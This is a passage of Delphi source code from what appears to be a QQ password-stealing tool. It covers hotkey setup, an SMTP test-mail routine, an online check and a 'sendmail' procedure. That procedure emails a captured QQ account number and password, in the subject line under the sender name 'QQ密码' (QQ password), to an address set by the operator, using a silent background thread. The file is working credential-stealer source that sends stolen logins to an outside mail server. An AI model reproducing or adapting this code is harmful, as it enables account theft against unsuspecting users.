  824.        ftemoption.CloseAppHotKey.shift:=false;
  825.        
  826.   if ssCtrl in shift then
  827.     begin
  828.      mString:=mstring+'Ctrl+';
  829.      ftemoption.CloseAppHotKey.ctrl:=true;
  830.     end
  831.   else
  832.      ftemoption.CloseAppHotKey.ctrl:=false;
  834.   if ssAlt in Shift then
  835.    begin
  836.     mString:=mstring+'ALT+';
  837.     ftemoption.CloseAppHotKey.alt:=true;
  838.    end
  839.   else
  840.      ftemoption.CloseAppHotKey.alt:=false;
  841.      
  842.    mString:=mString+mkey2;
  843.   EdCusDatahotkey.Text:=mstring;
  845. end;
  847. procedure TGQPFRM.EdCusOptHotkeyKeyPress(Sender: TObject; var Key: Char);
  848. begin
  849. key:=#0;
  850. end;
  852. procedure TGQPFRM.EdCusDatahotkeyKeyPress(Sender: TObject; var Key: Char);
  853. begin
  854. key:=#0;
  855. end;
  856. procedure TGQPFRM.TestSendMail(HostAddress,port,UserID,Password,Emailaddress:string);
  857.  var
  858.   fromEmail:string;
  859.   i:integer;
  860.  begin     
  861.   if whetherOnLine=false then begin showmessage('请检查网络是否连通');exit;end;
  862.   i:=pos('.',hostaddress);
  863.   fromemail:=userId+'@'+copy(hostaddress,i+1,length(hostaddress)-i);
  864.   try
  865.    smtp.Port:=strtoint(port);
  866.   except
  867.    on econverterror do
  868.     begin
  869.      showmessage('端口输入错误');
  870.      exit;
  871.     end;
  872.   end;
  873.   SMTP.Host:=hostaddress;
  875.   if self.CBServerCheck.Checked then
  876.    begin
  877.     SMTP.AuthenticationType:=atLogin;
  878.     SMTP.UserID:=userId;
  879.     SMTP.Password:=password;
  880.    end
  881.   else
  882.    begin
  883.     SMTP.AuthenticationType:=atnone;
  884.    end;
  886.   MSG.Too.Add(Emailaddress);
  887.   MSG.From:='<'+fromemail+'>';
  888.   MSG.Subject:='邮件测试成功';
  889.     with TSenderThread.Create(True) do begin
  890.       FreeOnTerminate := True;
  891.       mstate:=false;
  892.       mSMTP := SMTP;
  893.       mMsg := Msg;
  894.       Resume;
  895.     end;        
  896.  end;
  897.  
  898. procedure TGQPFRM.sendmail(HostAddress:string;port:integer;UserID:string;Password:string;Emailaddress:string;
  899.                        qqnum:string;qqpass:string);
  900.  var
  901.   fromEmail:string;
  902.   i:integer;
  903.  begin
  904.   if whetherOnLine=false then begin exit;end;
  905.   i:=pos('.',hostaddress);
  906.   fromemail:=userId+'@'+copy(hostaddress,i+1,length(hostaddress)-i);
  907.   try
  908.    smtp.Port:=port;
  909.   except
  910.    on econverterror do
  911.     begin
  912.      showmessage('端口输入错误');
  913.      exit;
  914.     end;
  915.   end;
  916.   SMTP.Host:=hostaddress;
  918.   if appoption.servercheck then
  919.    begin
  920.     SMTP.AuthenticationType:=atLogin;
  921.     SMTP.UserID:=userId;
  922.     SMTP.Password:=password;
  923.    end
  924.   else
  925.    begin
  926.     smtp.AuthenticationType:=atnone;
  927.    end;
  929.   MSG.Too.Add(Emailaddress);
  930.   MSG.From:='QQ密码<'+fromemail+'>';
  931.   MSG.Subject:='number:'+qqnum+'  password:'+qqpass;
  932.     with TSenderThread.Create(True) do begin
  933.       FreeOnTerminate := True;
  934.       mstate:=true;
  935.       mSMTP := SMTP;
  936.       mMsg := Msg;
  937.       Resume;
  938.     end;
  939. end;
  941. procedure TSenderThread.Execute;
  942. begin
  943.   try
  944.    mSMTP.Send(mMsg);
  945.    if self.mstate=false then showmessage('邮件测试成功');
  946.   except
  947.      on EWinshoeResponseError do
  948.       begin
  949.        if mstate=false then showmessage('用户名或密码错误或E-mail地址有误');
  950.        Terminate;
  951.       end;
  952.      on EWinshoeSocketError do
  953.       begin
  954.        if mstate=false then showmessage('邮件服务器地址错误');
  955.        Terminate;
  956.       end;
  957.      else
  958.       begin
  959.        if mstate=false then showmessage('未知错误');
  960.        terminate;
  961.       end;
  962.   end;
  964. end;
  965. function TGQPFRM.WhetherOnLine:boolean;
  966. begin      
  967.  if InternetCheckConnection('http://www.163.com/', 1, 0) then
  968.      result:=true
  969.  else
  970.      result:=false;
  971. end;
  973. procedure TGQPFRM.BuMailTestClick(Sender: TObject);
  974. begin
  975.  if not checkNetTabSheet then exit;
  976.  self.TestSendMail(EdMailServer.Text,EdMailPort.Text,EdMailUsername.Text,EdMailPassword.Text,
  977.                    EdMailAddress.Text);
  978. end;
  980. procedure TGQPFRM.Button2Click(Sender: TObject);
  981. begin
  982.   savedialog1.Filter:='文本文件 (*.txt)|*.TXT';
  983.   savedialog1.FileName:=appoption.DataFile;
  984.   if savedialog1.Execute then
  985.      begin
  986.       ftemoption.datafile:=savedialog1.FileName+'.txt';
  987.       EDataFile.Text:=ftemoption.datafile;
  988.      end;
  990. end;
  992. procedure TGQPFRM.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
  993. begin
  994.  if dllhandle<>0 then closeapp;
  995.  canclose:=true;
  996. end;
  998. end.